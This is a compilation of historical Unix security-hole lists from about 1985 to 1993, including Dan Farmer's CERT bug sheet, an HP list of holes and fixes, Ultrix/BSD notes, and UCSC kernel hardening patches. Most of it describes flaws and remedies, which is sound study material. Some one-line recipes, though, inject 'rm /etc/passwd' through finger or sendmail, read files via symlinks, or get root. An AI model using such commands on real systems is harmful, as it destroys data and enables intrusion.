IRIX 3.3/3.31 any user can read any other user's mail.
|
|
|
|
? wiz; shell get root shell
|
|
|
|
X
|
|
---------------------
|
|
X11R? snoop on keyboards and bitmaps.
|
|
X11R3-4 can set log on, execute commands (fixed in "fix-6")
|
|
|
|
UUCP
|
|
---------------------
|
|
Sun 4.03 uucico can show ph num, login, passwd, on remote machine.
|
|
|
|
TCP/IP
|
|
---------------------
|
|
icmperror errors not handled correctly; log off users remotely.
|
|
|
|
Misc
|
|
---------------------
|
|
Gnuemacs emacsclient/server allows access to files.
|
|
|
|
I still need to type 2 more of these in, for now see what you can add to
|
|
them.
|
|
================
|
|
ULTRIX.LST
|
|
Mike Burrows - burrows@src.dec.com 8/88
|
|
|
|
Berkeley (4.2, maybe also 4.3 + sun + ultrix)
|
|
========
|
|
You can get a root shell from a standard sendmail by typing
|
|
a wizard password (wiz?) and "shell" (fixed after 4.2?)
|
|
|
|
Chfn, chsh rename their tmp(=lock) files to /etc/passwd before
|
|
fflushing() so there is a window when the passwd file is null
|
|
and unlocked. Running one right after another zaps the passwd
|
|
file if it hits the timing hole.
|
|
|
|
chfn allows you to put massive field in in passwd file
|
|
which breaks getpwent()
|
|
|
|
passwd(1) leaves the passwd file locked if the user sets
|
|
a file size limit before running the programme.
|
|
|
|
passwd(1), chfn, chsh etc don't detect corrupt pw entries
|
|
they add new ones - particularly ones with a null name, passwd
|
|
and zero uid -> su "" works without password.
|
|
|
|
lpr will print any file if you use the -s flag (can't copy)
|
|
and then rename file. (fixed in 4.3)
|
|
|
|
lpr will remove any file in / with the -r option (luckily
|
|
won't remove unix image because it refuses to print an a.out)
|
|
|
|
ptrace modifies shared text. You can modify the text of any
|
|
readable binary in-core. This allows immediate breakin with
|
|
suid progs by writing short C prog. Even just using adb,
|
|
you can set break points to stop any one using a given programme.
|
|
|
|
vi runs expreserve when HUPed. expreserve is suid and it runs
|
|
sh -c "bin/mail..." or similar. Fun with IFS=. I have
|
|
seen this on lots of systems.
|
|
|
|
4.2+ultrix systems (suns too?) have /dev/kmem and /dev/mem readable!!!
|
|
== open system They even provide an unprivileged utility
|
|
to core dump other processes. (you just recompile it with
|
|
a security check removed, or patch the binary)
|
|
|
|
ioctl (TIOCSTI) - simulate terminal input on controlling tty -
|
|
fine, but you can set your controlling tty to be anything after
|
|
using ioctl (TIOCNOTTY) (fixed in 4.3)
|
|
|
|
You can send SIGINT, SIGHUP, SIGQUIT and SIGTSTP to any process on the
|
|
system by changing your tty process group to the group of the target
|
|
process and hitting intr, logging out, hitting quit or hitting susp.
|
|
(fixed in 4.3??)
|
|
|
|
On the sun (and other system with window displays?) /etc/utmp is
|
|
publicly writable, so the window system can put the pty in it.
|
|
This makes it easy to fake your userid on anything that believes
|
|
getlogin(3)
|
|
|
|
suid shell scripts will run the .profile file if you make a link to
|
|
them with name - suid shell scripts should NEVER be allowed for
|
|
other reasons anyway e.g. IFS=. Similarly with csh.
|
|
|
|
In ultrix, the physical ethernet address of a machine can be
|
|
changed by any user. -> denial of service.
|
|
|
|
Berkeley network security is based on "reserved ports" - therefore,
|
|
this is trivial to break if you have your own workstation
|
|
|
|
vhangup system call is meant to disconnect all processes from current
|
|
controle terminal. However, they can reopen the terminal as /dev/tty
|
|
even if the tty permissions have changed since their controle tty is
|
|
not zeroed.
|
|
|
|
most suid programmes don't expect resource usage signals,
|
|
timeout signals.
|
|
|
|
Other systems, generic and general bugs
|
|
=======================================
|
|
|
|
Some versions of uusend call "uux" on the PATH while suid to root.
|
|
|
|
Some news receivers execute shell commands sent down the news feed.
|
|
|
|
In NFS, exec permission is equivalent to read. In general, NFS
|
|
protection is lousy. Over an ethernet, it is non-existent.
|
|
(it took 10 minutes work for one of our undergraduates to understand,
|
|
construct, and send a packet to delete a file using NFS)
|
|
|
|
Information/guest logins release userids
|
|
|
|
Users can write a trojan horse ls/su programme
|
|
Fixes:
|
|
1) change default PATH to /bin:/usr/bin:.
|
|
2) fix shell so it won't exec from a relative path
|
|
unless directory is not writable by other users
|
|
3) important progs like "su" could require argv[0]
|
|
to be /bin/su
|
|
|
|
Bogus getty/login. Fixes:
|
|
1) all lines should come in over a network interface to
|
|
a port that cannot be accessed by anyone but root.
|
|
2) terminal driver should have a hardwired escape (e.g. line
|
|
break) that always zaps all processes with the terminal
|
|
open. (see vhangup above)
|
|
Idle logout helps things a little
|
|
|
|
insecure reboot (fix is to use a 3b2? - pity the 3b2 is unusable)
|
|
have single user mode spawn /bin/login?
|
|
|
|
Many daemon and/or support programmes are insecure when invoked
|
|
directly by the user. Often mail can be forged this way.
|
|
Fix is to stop normal users exec'ing such progs.
|
|
|
|
Some root suid programmes dont have to be suid to root but are.
|
|
|
|
Many mail systems keep user mail files readable by other users.
|
|
They also keep temp files readable by others.
|
|
|
|
Passwords should be significant to longer than eight characters,
|
|
or passwd should warn about characters being lost.
|
|
|
|
system(3) and popen(3) should NEVER be called by suid programmes
|
|
or programmes that are ever called by suid programmes.
|
|
Even versions of system(3) that say setuid(getuid()) have lots of
|
|
holes (the programme doesn't give its uid to a random programme, but
|
|
it is acting on information given to it by a random programme)
|
|
|
|
Some versions of rmdir are broken on systems without a rmdir syscall.
|
|
Allows you to remove ..
|
|
(was on the net with bugfix)
|
|
(similar problems with rm -r?? mv?? mvdir script?)
|
|
|
|
crypt(1) is too weak to be trusted by anyone. An average CS student
|
|
can break it. The manual should say so. A better encryption scheme
|
|
should be provided (Wheeler encryption is faster in software but more
|
|
secure)
|
|
|
|
Most systems have tty's generally writable. Write should be suid
|
|
and should not allow arbitrary controle characters. It should
|
|
also be possible for a user to force a write to him to die (cf
|
|
hanging up the phone)
|
|
Even console should not be generally writable - all logging should
|
|
not block. Otherwise, e.g. a user can make the console run out
|
|
of paper, or can send it interesting controle codes.
|
|
|
|
getlogin(3) ttyslot(3) ttyname(3) don't find/use controlling terminal.
|
|
They use stdin instead. They are sometimes used for security checks
|
|
=> useless security check.
|
|
|
|
Lots of "denial of service" bugs due to lax resource allocation.
|
|
It's easy to hog the processor, memory, disc, tty bandwidth
|
|
|
|
Advisory locks have no seperate permissions bits. Easy to lock out
|
|
any daemon that uses them. All files used for locking should not
|
|
have read or write permission for "others"
|
|
|
|
Most suid programmes don't expect to get filesize limit signals,
|
|
SIGALRMs.
|
|
|
|
================
|
|
|
|
KNOWN SECURITY HOLES ON UNIX SYSTEMS
|
|
|
|
HP CONFIDENTIAL!
|
|
|
|
LAST UPDATED 850312
|
|
|
|
|
|
List collected by Alan Silverstein. All security problems
|
|
listed are correctable on site unless noted with "S" (sensitive)
|
|
in the left margin. (In "sanitized" versions of this list, all
|
|
such lines are removed.) If this list is incomplete, please send
|
|
me additions or corrections.
|
|
|
|
This is a "sanitized" list, also generalized from HPUX to
|
|
generic UNIX.
|
|
|
|
|
|
BASIC PRINCIPLES OF GOOD SECURITY:
|
|
* Physical control of equipment.
|
|
* Management committment to security.
|
|
* Employee education on what is expected of them.
|
|
* Administrative procedures designed to increase security.
|
|
* Concealment alone is not security.
|
|
* Better to know you are not secure, than falsely think you are.
|
|
|
|
|
|
* HARDWARE: Anyone who can connect the root disc to another
|
|
system and mount it can break security. Anyone who can mount
|
|
a personal volume on the local system can do the same. If
|
|
init state 1 starts any shells without going through login,
|
|
anyone who reboots the system can be super-user.
|
|
|
|
Solution: Physical security, no removable mass storage
|
|
volumes (or protected mount(1) command), and an init state 1
|
|
which requires login.
|
|
|
|
|
|
* FILE SYSTEM: Sloppy ownerships/permissions are a common
|
|
problem, particularly on special files.
|
|
|
|
Solutions: Be sure the filesystem is generally secure.
|
|
Special files like /dev/mem, /dev/kmem, and /dev/rhd should
|
|
not even be readable except by super-user. Use a default
|
|
umask of 022 (see sh(1)) so new files are not writable except
|
|
by the owner.
|
|
|
|
|
|
* ROOT DIRECTORY: It must be 555 (unwritable), owned by root.
|
|
If unprotected, any user can move /etc and create their own
|
|
/etc/passwd file (and so on).
|
|
|
|
Solution: Protect root directory.
|
|
|
|
Comment: Pre-4.0 versions of sdfinit(8) (Series 500 only)
|
|
left new volumes set to 777. It's necessary to do "ls -ld /"
|
|
to check this.
|
|
|
|
|
|
* PUBLIC DIRECTORIES: In general, most of them must be owned by
|
|
root, other, and set to be unwritable. In particular /etc,
|
|
/usr, /usr/lib, and the super-user's login directory are
|
|
sensitive due to system config and .profile files there.
|
|
|
|
Solution: Deny write access to public directories except
|
|
where the need exists (such as /tmp).
|
|
|
|
|
|
* CONFIGURATION FILES: Certain files must be owned by root (or
|
|
package owners, like news or lp) and unwritable by the public,
|
|
including /etc/inittab, /etc/rc, /etc/passwd, /etc/group,
|
|
/etc/profile, /usr/lib/crontab, and the super-user's .profile.
|
|
|
|
Solution: Deny access to sensitive files except where the
|
|
need exists.
|
|
|
|
|
|
* COMMAND PATHS: Shell scripts, and programs which use exec(2),
|
|
may be violated by Trojan horses when run by the super-user or
|
|
other users. In particular, a user might call a setuid
|
|
program with a bogus PATH variable exported.
|
|
|
|
Solution: All shell scripts and certain programs should set
|
|
their own PATH before running any commands, or use explicit
|
|
(absolute) paths, and/or require that they themselves are
|
|
invoked using absolute paths (like /bin/su).
|
|
|
|
|
|
* PRIVILEGED-USER PATHS: If the super-user's (or any user's)
|
|
PATH variable includes "." or a null field (for "current
|
|
directory"), and the user changes to a non-secure directory,
|
|
he might unknowingly run a Trojan horse program named the same
|
|
as a standard command. This program might create a
|
|
setuid/setgid shell and then remove itself.
|
|
|
|
Solutions: Avoid "current directory" in $PATH. Some commands
|
|
should require that they be in invoked with absolute paths.
|
|
Keep the file system sufficiently secure that non-privileged
|
|
users cannot plant Trojan horses in libraries or commands.
|
|
|
|
Comment: One possibility is to have the shell check the
|
|
ownership of files before running them. If a command is found
|
|
in a directory in PATH which does not start with "/", and if
|
|
it is not owned by the user who is trying to run it, give an
|
|
error (forcing the user to type "./" to run it).
|
|
|
|
|
|
* SETUID (SUID) COMMANDS: Programs owned by root (or a
|
|
privileged group) and set to run as super-user (or other users
|
|
or groups) can lead to trouble by allowing shell escape to
|
|
privileged shells, appending to protected files, dumping
|
|
writable, setuid core files, etc. In particular, mount(1) is
|
|
dangerous to set to 4555 if the system has a removable mass
|
|
storage device, as users can mount volumes containing
|
|
super-user shells.
|
|
|
|
Solution: Minimize use of setuid/setgid. Deny access to
|
|
setuid/setgid programs except where the need exists and the
|
|
program has been checked for holes. Be sure all setuid/setgid
|
|
commands are not writable. Be able to account for all
|
|
setuid/setgid programs on the system (and/or check for them
|
|
periodically). Programs must do setuid(getuid()) and
|
|
setgid(getgid()) before doing a shell escape. Chown(2) must
|
|
turn off set bits when ownership is changed.
|
|
|
|
|
|
* SETUID (SUID) SCRIPTS: Files which begin with "#! command",
|
|
for direct execution of command by exec(2), and which are
|
|
setuid or setgid, may be tricked through unforeseen side
|
|
effects of running "command". For example, if the script is a
|
|
readable shell script ("#! /bin/sh"), it can be linked by
|
|
anyone to a file named "-sh", or merely exec'd with an arg1 of
|
|
"-sh". The shell runs setuid, but the leading "-" in the name
|
|
causes it to read /etc/profile, and (worse) the user's
|
|
.profile, when starting up. (On BSD4.2, if the name is "-",
|
|
you get an interactive prompt.)
|
|
|
|
Solutions: Disallow setuid/setgid script execution by
|
|
exec(2), or disallow linking to such files (is this
|
|
sufficient?), or modify all potentially scripted commands to
|
|
avoid this problem. (Note: Only commands which understand
|
|
"#"-style comments are even candidates for scripting.)
|
|
|
|
|
|
* TERMINAL ACCESS: An unattended, logged-in terminal is asking
|
|
for trouble. A terminal whose special file is readable by
|
|
other users is subject to having data stolen.
|
|
|
|
Solutions: Log out or lock (using internal command lock(1))
|
|
any terminal not in use. Do not make your terminal's special
|
|
file readable by the public.
|
|
|
|
|
|
* "PARKED" TROJAN HORSES: In addition to libraries or commands
|
|
left in a file system where a privileged user/group might
|
|
accidentally use them, pirates can leave programs running on
|
|
"idle" terminals which simulate login, su, or other commands.
|
|
|
|
Solution: Don't trust an idle terminal. Especially, don't
|
|
fall for an obvious swindle, such as "Login incorrect" or
|
|
"}ls: not found" when you think you did not mistype. Be sure
|
|
the login command in particular is not generally executable,
|
|
so login emulators must "fail login".
|
|
|
|
|
|
* DIAL-IN ACCESS: Dial-in lines are potential holes.
|
|
|
|
Solutions: Keep phone numbers as private as possible. Set
|
|
getty to hang up in a short time. Add "external security"
|
|
passwords to getty (rewrite it). Limit logins on external
|
|
lines by using /etc/securetty. Use new logging features of
|
|
login(1).
|
|
|
|
|
|
* ALL USERS HAVE PASSWORDS: Any user without a password is
|
|
subject to having another user login or su to their identity.
|
|
|
|
Solution: Insure that all users have passwords, even
|
|
pseudo-users like "who" and "sync", just in case su -c allows
|
|
dangerous actions. If necessary, put "*" in the password
|
|
field in /etc/passwd to make it impossible to login or su to
|
|
that user. Or, deny access to the su command.
|
|
|
|
|
|
* ALL GROUPS ARE SECURE: The newgrp command allows changing
|
|
group identity in a manner similar to su, except that if a
|
|
group has no password, only users in the group's list can
|
|
newgrp to it.
|
|
|
|
Solution: Insure that all groups have correct user lists,
|
|
and/or all groups have dummy ("*") or real passwords, and/or
|
|
disable the newgrp command. (Putting a real password on a
|
|
group opens it up to anyone, which can actually reduce
|
|
security.)
|
|
|
|
|
|
* GOOD PASSWORDS USED: Bad passwords can lead to easy violation
|
|
of security.
|
|
|
|
Solutions: Don't use permutations of username, nor people's
|
|
real names, nor easy-to-guess personal data. Use long
|
|
passwords not in any dictionary; mix in uppercase, digits, and
|
|
other characters. Don't re-use old passwords. Change
|
|
passwords periodically. Educate system users. Also, do not
|
|
disable accounts after N bad login attempts; this just makes
|
|
it easier for pirates to lock out system administrators.
|
|
|
|
Comments: System V.2 passwd(1) improves the situation. Do
|
|
NOT use the password timeout facility (see passwd(1)) because
|
|
(1) it leads to fast selection of bad passwords, (2) it leaves
|
|
users unable to change again fast, (3) users still only need
|
|
to have two different passwords, and (4) pirates can easily
|
|
find abandoned accounts.
|
|
|
|
|
|
* HIDE PASSWORDS: Pirates are at an advantage if they can copy
|
|
your password file and it contains valid (encrypted)
|
|
passwords.
|
|
|
|
Solutions: Make it impossible to copy it with uucp. Keep
|
|
real passwords in a different file and put fake ones in
|
|
/etc/passwd (but this requires changes to many system
|
|
libraries and commands, so probably should not be attempted
|
|
on-site; it should be standardized).
|
|
|
|
|
|
* RSH: Restricted shells are impossible to do completely right.
|
|
|
|
Solution: Use them as a deterrent on accounts where needed
|
|
but do not depend on them alone to guarantee security.
|
|
|
|
|
|
* CHROOT: The chroot(1) command and chroot(2) system call are
|
|
normally executable by super-user only. If an ordinary user
|
|
could chroot to a sub-file-system, they could create a small
|
|
directory structure with a dummy /etc/passwd, make a copy of
|
|
/bin/su and /bin/sh therein, chroot, su, then make the copy of
|
|
sh setuid to super-user for later use.
|
|
|
|
Solution: Restrict access to the chroot command. Make all
|
|
setuid/setgid programs, such as su, unreadable (which does
|
|
not, unfortunately, prevent linking to them).
|
|
|
|
|
|
* CRONTAB: The path to /usr/lib/crontab must be secure, and the
|
|
file itself, plus all parts of the paths to all files it
|
|
invokes, including the files themselves, plus all files they
|
|
in turn invoke. All such files (scripts or programs) are run
|
|
by cron as super-user, so they must not be replaceable by
|
|
Trojan horses.
|
|
|
|
Solutions: Check crontab very carefully on occasion. Keep it
|
|
unreadable by the public. Use su -c (and/or newgrp) in
|
|
crontab before running commands (e.g. 'exec su news -c "exec
|
|
notedemon.day"'), so as to minimize processes run
|
|
automatically as root, or do not run cron at all (unlikely).
|
|
|
|
Comment: A shell script (cronck) exists which helps do a
|
|
limited check on crontab.
|
|
|
|
|
|
* AT(1) COMMAND: The at command is easy to violate by doing
|
|
chmod to super-user on a spooled shell script. The atrun
|
|
demon then runs the script as its owner.
|
|
|
|
Solution: It's possible to protect /usr/spool/at to be
|
|
unwritable, and setuid the at and atrun commands, but this may
|
|
not be sufficient. Or, don't run atrun from crontab, e.g.
|
|
disable the at(1) facility.
|
|
|
|
Comment: System V.2 at(1) corrects this.
|
|
|
|
|
|
* MAILERS: Mailers, and other programs which can save files,
|
|
might let users modify /etc/passwd by appending to it,
|
|
especially if they run setuid/setgid. Also, some mailers have
|
|
a bad habit of prepending a "From" line containing the name of
|
|
the process owner, who is an innocent bystander, to mail
|
|
passing through the system, thus revealing the name of at
|
|
least one user on the system. Also, some mailers use LOGNAME
|
|
as the name of the sender.
|
|
|
|
Solutions: Such programs must not modify non-owned files.
|
|
Avoid running such programs setuid/setgid if possible. Keep
|
|
sensitive files protected. Don't reveal random usernames in
|
|
mailer programs, and don't use LOGNAME.
|
|
|
|
|
|
* CRYPT COMMAND/LIBRARY: The encryption used is not as hard to
|
|
break as once thought (see the Bell System Technical Journal,
|
|
Volume 63, Number 8, Part 2).
|
|
|
|
Solutions: Do not leave any cleartext around; it helps break
|
|
the key if found. Don't use same the key as your password.
|
|
Simple double-crypting or pre-ORing with patterns don't help;
|
|
packing or otherwise re-distributing the data does.
|
|
|
|
|
|
* UUCP CONFIGURATION: Most files in /usr/spool/uucp are
|
|
publicly readable by default. If uucp owns certain other
|
|
files, such as demons, and the uucp password is well known,
|
|
users can use su -c to mess with the demons. The COMMANDS and
|
|
USERFILE files must be properly constructed. The L.sys file
|
|
contains private information like phone numbers. DIALLOG
|
|
contains phone numbers.
|
|
|
|
Solutions: Hide (protect) /usr/spool/uucp if necessary, to
|
|
keep mail and other transactions secret and avoid changes to
|
|
them. Have all uucp logins be for users other than uucp (such
|
|
as remote system names) so people knowing those passwords
|
|
can't dork with uucp-owned files, and keep the uucp password
|
|
itself a secret. Insure that COMMANDS and USERFILE are
|
|
protected (including the path to them), and that they are
|
|
conservative (limit access except as required). Insure that
|
|
L.sys is owned by uucp and not generally readable. By default
|
|
DIALLOG is protected; no action is necessary.
|
|
|
|
|
|
* BTMP AND SULOG FILES: If these files exist, login(1) and
|
|
su(1), respectively, use them to log failed login attempts and
|
|
all su attempts. Only usernames are logged in btmp, not
|
|
passwords, but on occasion a user might type their password in
|
|
to the login prompt. Also, sulog can help a pirate found out
|
|
who system administrators are.
|
|
|
|
Solution: Be sure /usr/adm/btmp and /usr/adm/sulog are only
|
|
readable/writable by the super-user, and the path to them is
|
|
secure. Long-term, perhaps login(1) and su(1) should chmod
|
|
the file if necessary. (Note that smart pirates will never
|
|
use su themselves, anyway.)
|
|
|
|
|
|
* DATA NOT ENCRYPTED: Sensitive data lives on a disc shared
|
|
with other files and other people. File system problems can
|
|
(in the worst case) make such data public.
|
|
|
|
Solution: Encrypt sensitive data, or keep it on private
|
|
media.
|
|
|
|
|
|
* USE QUOTED HERE DOCUMENTS: Unquoted shell "here" documents
|
|
(see sh(1)) can cause trouble. For example, if the line "rm
|
|
-r $x/dir" appears, but $x is not set until the script is
|
|
executed, the file system could be injured.
|
|
|
|
Solution: Quote all here documents, especially those which
|
|
are shell scripts or at(1) input, unless there is a good
|
|
reason not to so do.
|
|
|
|
================
|
|
|
|
|
|
|
|
***
|
|
*** Log start at 12:46pm on 4-11-93
|
|
***
|
|
|
|
|
|
Received: from DEATH.CERT.SEI.CMU.EDU by sparkyfs.erg.sri.com (5.64/2.6davy)
|
|
id AA04197; Fri, 15 Feb 91 13:23:22 -0800
|
|
Received: from localhost by death.cert.sei.cmu.edu (5.65/2.3)
|
|
id AA13566; Fri, 15 Feb 91 16:23:15 -0500
|
|
Message-Id: <9102152123.AA13566@death.cert.sei.cmu.edu>
|
|
To: davy@erg.sri.com
|
|
Subject: list
|
|
Date: Fri, 15 Feb 91 16:23:14 EST
|
|
From: Dan Farmer <df@cert.sei.cmu.edu>
|
|
|
|
|
|
|
|
|
|
|
|
Bug reference sheet
|
|
Comfirmations, additions, changes to: df@cert.sei.cmu.edu
|
|
Last change made: Dec 12, 1990
|
|
|
|
|
|
4.X BSD
|
|
Version problem
|
|
---------------------
|
|
4.1 can mail directly to a file
|
|
run set gid program, dump core, is set gid of owner
|
|
lock -- compiled in password "hasta la vista", plus can ^Z
|
|
|
|
Pre 4.2? IFS w. preserve bug in vi
|
|
suspend mkdir, ln file you want to dir, you own file
|
|
|
|
4.2 lock -- compiled in password "hasta la vista"
|
|
ln passwd file to mail spool, mail to user ==> file
|
|
can truncate read only files
|
|
finger "string | /bin/rm -f /etc/passwd"@foo.bar
|
|
ln -s target ~/.plan; finger user to read any file.
|
|
lpr file; rm file; ln -s /any/filename file ==> prints file
|
|
adb su; change check in memory; shell out; su ==> root.
|
|
race condition, can get root via "at"
|
|
|
|
4.3 ftp -n; quote user ftp; ect. Gets root privs.
|
|
lpd can overwrite file
|
|
ln -s /any/suid/file -i ; -i Get suid shell.
|
|
fchown (2) can chown _any_ file
|
|
race condition (expreserve?), can get root via "at"
|
|
passwd chokes on long lines, splits pw file ==> root access
|
|
|
|
4.3 Tahoe chfn -- allows newlines, meta chars, bufsize problem
|
|
login ttyA&B; A:cat <ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:got B pw.
|
|
|
|
? Overwrite gets buffer -- fingerd, etc
|
|
uudecode alias can overwrite root/daemon owned files
|
|
/bin/mail ; !/bin/sh Get uid=bin shell
|
|
rwall bug.
|
|
adb the running kernel, shell out and get root
|
|
sendmail can mail to any non-root owned file, have to try twice
|
|
rshd -- spoof via nameservice, rsh target -l uid
|
|
|
|
SunOS
|
|
Version problem
|
|
---------------------
|
|
386i/4.01? login -n root requires no password
|
|
|
|
3.5 ftp -- connect w. acct; user root; ls; put /tmp/foo /tmp/bar;
|
|
result is owned by root
|
|
|
|
4.0 && 4.01 chsh -- similar to chfn
|
|
|
|
4.0x? anyone can restore a file over any other file.
|
|
chfn -- allows newlines, meta chars, bufsize problem.
|
|
rcp with uid -2; only from PC/NFS.
|
|
ln -s /any/suid/file -i ; -i Get suid shell.
|
|
Selection service can remotely grab files.
|
|
|
|
4.03 sendmail can mail to any non-root owned file, have to try twice
|
|
login ttyA&B; A:cat <ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:got B pw.
|
|
|
|
4.1 Shared libs accept relative paths when running suid (e.g. xterm.)
|
|
rshd -- spoof via nameservice, rsh target -l uid
|
|
|
|
? adb the running kernel, shell out and get root
|
|
ftp -n; quote user ftp; ect. Gets root privs.
|
|
symlink .plan to target file, finger user to read.
|
|
Overwrite gets buffer -- fingerd, etc. (3.5)
|
|
rwall bug (<= 4.01 yes).
|
|
lpd can overwrite file
|
|
the window manager can be used to read any file
|
|
rexd -- any can get root access if enabled
|
|
|
|
4.03- rcp buffer overflow
|
|
|
|
4.1- comsat can overwrite any file
|
|
ptrace allows to become root
|
|
under openlook; telnet port 2000; executive,x3, run the ps interp.
|
|
|
|
Ultrix
|
|
Version problem
|
|
---------------------
|
|
2.2 ln passwd file to mail spool, mail to user ==> file
|
|
can get root on host running (some) NFS from a root account
|
|
on a non-trusted host due to bug in mount daemon (DYNIX 3.? also)
|
|
|
|
3.0 lock -- compiled in password "hasta la vista"
|
|
any user can mount any filesystem
|
|
login can run any program with root privs
|
|
X11 doesn't clear passwords in memory; /dev/mem is world readable.
|
|
ln -s target ~/.plan; finger user to read any file.
|
|
|
|
3.1- limit file 0; passwd ==> zero's out passwd file
|
|
lpd can overwrite any file (back to 2.0?)
|
|
|
|
4.1- overflow Risc register buffer, get root through mail.
|
|
|
|
? chfn -- allows newlines, meta chars, bufsize problem
|
|
ftp -n; quote user ftp; ect. Gets root privs.
|
|
can change host name, mount any filesystem
|
|
uudecode alias can overwrite root/daemon owned files
|
|
3.1? rshd -- spoof via nameservice, rsh target -l uid
|
|
|
|
System V
|
|
Version problem
|
|
---------------------
|
|
? can set IFS, other environment at "login:" prompt
|
|
SVR4- expreserve problem/race condition.
|
|
pre SVR4 write to files; race condition using mkdir & ln
|
|
|
|
SGI (Iris?), MIPS, Steller
|
|
---------------------------
|
|
Stellix 2.0 rsh <host> -l "" <command> runs as root
|
|
RISC/os 4.51, DYNIX
|
|
Stellix 2.1 login: -r hostname
|
|
ruser^@luser^@term^@
|
|
|
|
HP-UX
|
|
Version problem
|
|
--------------------
|
|
7.0- chfn -- allows newlines, etc. Different bug with 7.0.
|
|
|
|
Apollo
|
|
Version problem
|
|
--------------------
|
|
10.x(max10.3)break root by using s/rbak; problem is in setgid/uid
|
|
|
|
Amdahl UTS
|
|
Version problem
|
|
--------------------
|
|
2.0 NFS mountd only uses hostname as authentication; easy to spoof.
|
|
|
|
SCO
|
|
Version problem
|
|
---------------------
|
|
? can rlogin to any acct (root, etc.) to trusted host w/o password
|
|
|
|
Bell tech sys V/386
|
|
--------------------
|
|
Microport 3.0 ulimit 0; passwd ==> zero's out passwd file
|
|
|
|
YP
|
|
---------------------
|
|
Pre 4.0 any user can run yp server
|
|
|
|
4.01/4.03 ypbind/ypserv, SunOS 4.01; need 3 machines
|
|
|
|
4.03 concurrent yppasswd sessions can trash yp passwd map
|
|
ypserv will send maps to anyone who can guess the domainame
|
|
|
|
Ultrix3.1/? allows newlines, meta chars, buffsize problem
|
|
|
|
? yppasswd leaves yp data files world writable
|
|
ypbind takes ypset from all; anyone can say they are yp DB server.
|
|
|
|
Sendmail
|
|
---------------------
|
|
4.1 BSD can mail directly to a file
|
|
|
|
Sun 4.03,
|
|
<=5.61 can mail to any file not root owned, have to try twice
|
|
|
|
5.61, 4.1Sun,
|
|
lots others? groups incorrectly checked, can get any group
|
|
|
|
Ultrix 2.2,
|
|
DYNIX 3.0.14 -C file ==> displays any file.
|
|
|
|
Ultrix 2.0?
|
|
HP_UX versions 1.2&13.1 sm, -oQ ==> can read/write any file
|
|
|
|
< 5.57 from:<"|/bin/rm /etc/passwd"> && bounce mail....
|
|
|
|
IRIX 3.3/3.31 any user can read any other user's mail.
|
|
|
|
? wiz; shell get root shell
|
|
|
|
X
|
|
---------------------
|
|
X11R? snoop on keyboards and bitmaps.
|
|
X11R3-4 can set log on, execute commands (fixed in "fix-6")
|
|
|
|
UUCP
|
|
---------------------
|
|
Sun 4.03 uucico can show ph num, login, passwd, on remote machine.
|
|
|
|
TCP/IP
|
|
---------------------
|
|
icmperror errors not handled correctly; log off users remotely.
|
|
|
|
Misc
|
|
---------------------
|
|
Gnuemacs emacsclient/server allows access to files.
|
|
yogi 3 [13:42] ~>
|
|
================
|
|
Subject: Summary of 4.2BSD kernel changes for improved security
|
|
|
|
in use at ucsc
|
|
|
|
in sys/init_sysent.c:
|
|
/* added system calls:
|
|
chfile - insure that user's tty drops DTR lead when user logs out
|
|
(requires change to /etc/init)
|
|
*/
|
|
kern_exec.c: (getxfile())
|
|
/*
|
|
* Restrict setuid-root to files on the root device.
|
|
* Some bother for system administration, but it
|
|
* greatly cuts down the territory to be searched for
|
|
* spurious setuid-root programs.
|
|
*/
|
|
kern_prot.c: (setpgrp())
|
|
This is now being tested. It is to prevent a user being able to kill
|
|
another user's background job.
|
|
/* insure that the pgrp is not in use by somebody else */
|
|
kern_sig.c: (core())
|
|
/* keep the core file private */
|
|
kern_xxx.c: added chfile() code
|
|
sys_inode.c: (rwip())
|
|
/* turn off SUID & SGID bits when file is written, even for super
|
|
* user, to strengthen security.
|
|
*/
|
|
sys_process.c (procxmt())
|
|
#ifdef UCSC /* security patch from denelcor */
|
|
/* prevents user from running a setuid-root program under a debugger
|
|
* and then modifying the code in the core image and resuming execution
|
|
* of the modified code with original privileges.
|
|
*/
|
|
ufs_fio.c: (access())
|
|
/* make group with gid zero have no privileges. This is the default
|
|
* login group for super users, and for files that we don't know in
|
|
* what group they really belong.
|
|
*/
|
|
ufs_syscalls.c
|
|
copen():
|
|
/*
|
|
* Security patch to require special file inodes
|
|
* to be on rootdev only.
|
|
*/
|
|
link():
|
|
#ifdef UCSC /* for security, no linking to files user can't read */
|
|
symlink():
|
|
#ifdef UCSC /* no symbolic links to things user can't read either */
|
|
chmod1():
|
|
/*
|
|
* Enforce special restrictions on sticky bit and setuid bit
|
|
*/
|
|
/* warn the super user if he has inadvertently given somebody a
|
|
* privileged file
|
|
*/
|
|
chown1():
|
|
/* include the super user in the protection afforded
|
|
* by turning off SUID/SGID bits */
|
|
ufs_fio.c: (own())
|
|
#ifdef GRPMAST
|
|
/* allow group manager access to non root-owned files */
|
|
/* this is convenient for instructional class accounts. The user
|
|
* for whom uid == gid in the password file is the owner of the
|
|
* class, and has all privileges over all files with that class
|
|
* as group owner.
|
|
*/
|
|
|
|
|
|
actual patches available on request to ucbvax!ucscc!haynes
|
|
|
|
===========================================================================
|
|
|
|
I'm starting a project to keep track of UNIX security holes and their
|
|
fixes. Basically, this consists of writing a short monograph (they are
|
|
too short to be called "papers") on each security hole I find out about,
|
|
including an example of using it to break security, and including any fixes
|
|
that I can figure out (or get from others.) I'm also trying to put in
|
|
something about who found each bug, or who reported it; I know these things
|
|
are usually found by multitudes of people acting independently, but I always
|
|
have been curious about where these things came from, so ... In essence, I'm
|
|
trying to start up a reference file of security holes and fixes.
|
|
I'd like to ask your help in getting this project moving. If you know
|
|
of any interesting security holes, would you pass them along? (Fixes too
|
|
would be appreciated.) I have access to a 4.2 BSD system, so I can check out
|
|
holes in that version of UNIX. I'm quite interested in holes in System V, too,
|
|
but I don't have access to a pure System V version of UNIX (just a System
|
|
V with Berkeley enhancements), so I'm not sure if I can actually test them.
|
|
On the other hand, they might suggest holes in 4.2 BSD, so send ANY UNIX
|
|
security holes you know of, too.
|
|
Thanks to one and all for any help you can give ...
|
|
|
|
Peace,
|
|
Matt Bishop
|
|
|
|
mab@riacs.ARPA arpanet
|
|
...!decvax!decwrl!riacs!mab one uucp path
|
|
...!ihnp4!ames!riacs!mab another uucp path
|
|
|
|
=================
|
|
VSUITE.LST
|
|
Hole List: first part from USAF UNIX security paper
|
|
most from the VSUITE project
|
|
|
|
=========
|
|
GENERAL
|
|
=========
|
|
|
|
1. Do not allow usernames to contain any of the following characters ";~!`"
|
|
